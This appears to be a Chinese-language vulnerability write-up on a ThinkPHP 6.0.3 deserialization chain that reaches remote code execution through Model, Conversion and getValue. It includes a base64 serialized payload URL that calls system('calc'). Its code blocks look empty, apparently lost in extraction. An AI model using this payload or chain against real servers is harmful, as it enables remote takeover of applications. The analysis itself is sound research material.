漏洞环境:
版本:
1 | ThinkPHP V6.0.3 |
测试代码:
tp6.0\app\controller\Index.php中修改类Index的hello方法
1 | public function hello($name = 'ThinkPHP6') |
通过http://localhost/tp6.0/public/index.php/index/hello/name/{base64字符串}
访问
注意:需要配置tp6.0\config\app.php才能访问到hello方法
漏洞分析:
反序列化利用链的起点在\tp6.0\vendor\topthink\think-orm\src\Model.php的__destruct()方法中
因为$this->lazySave
可控,我们进入Model::save。漏洞利用需要进入Model::updateData中
Model::setAttrs因为$data是空数组所以无效
Model::isEmpty因为$this->data可以控制,所以可控
Model::trigger也是同理可以控制
总结一下,我们要使得$this->data
为空,$this->withEvent=false
即可使得if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))
变成if (false || false === true)
,再使得$this->exists
为true从而顺利进入Model::updateData。
在Model::updateData中的我们的目标是要进入Model::checkAllowFields
第一个if判断if (false === $this->trigger('BeforeUpdate'))
和上面一样是我们可以控制绕过的
Model::checkData是一个未定义的方法,无需关注
进入Model::getChangedData方法,发现可以通过控制$this->force
使得返回结果可控,使得返回结果为空绕过
if (empty($data))
的判断
接下来进入判断语句if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime]))
,显然这条判断我们可以控制
最终顺利调用Model::checkAllowFields,跳转到checkAllowFields我们的目标是进入Model::db
无需我们多加什么就可以顺利进入Model::db,在db中我们可以通过点号触发__toString。
我们选择\tp6.0\vendor\topthink\think-orm\src\model\concern\Conversion.php的Conversion::__toString
作为上面Model::db
触发的目标(因为Model复用了Conversion::__toString
,Pivot类继承自抽象类Model,所以使得$this->name=new Pivot()
即可触发Conversion::__toString
)
我们查看Conversion::__toString
进入Conversion::__toJson
类似thinkphp5发反序列化链,我们继续进入Conversion::toArray,在toArray中我们的目标是进入第三个foreach的Conversion::getAttr
这里也是无需过多设置,直接可以顺利进入Conversion::getAttr,在getAttr中要经历两个方法Conversion::getData和Conversion::getValue
Conversion::getData的功能是返回$this->data[$name]
的值,这里就不过多分析了。
重点分析Conversion::getValue,对于这个方法我们这里实际上调用的是$this->getValue($name,$this->data[$name], false);
进入Conversion::getValue,观察这个方法我们发现第498行的$value = $closure($value, $this->data);
只要控制$closure
为eval,$value
为我们想要执行的指令,使$this->data
为空即可成功rce。
这里的两个参数$value
和$this->data
我们都是可以控制的,同时因为$name
我们可以控制,所以通过485行的Attribute::getRealFieldName我们可以控制$fieldName
为$name
从而使得$closure
可控。
这样最终的poc如下
1 |
|
生成后访问类似url触发rce弹出计算器:
1 | http://localhost/tp6.0/public/index.php/index/hello/name/TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6NDoiY2FsYyI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6NDoiY2FsYyI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319 |
漏洞总结:
该反序列化漏洞的利用链汇总
1 | 起点:任意反序列化点 |
注意:Pivot继承自抽象类Model,Model复用了Conversion和Attribute的方法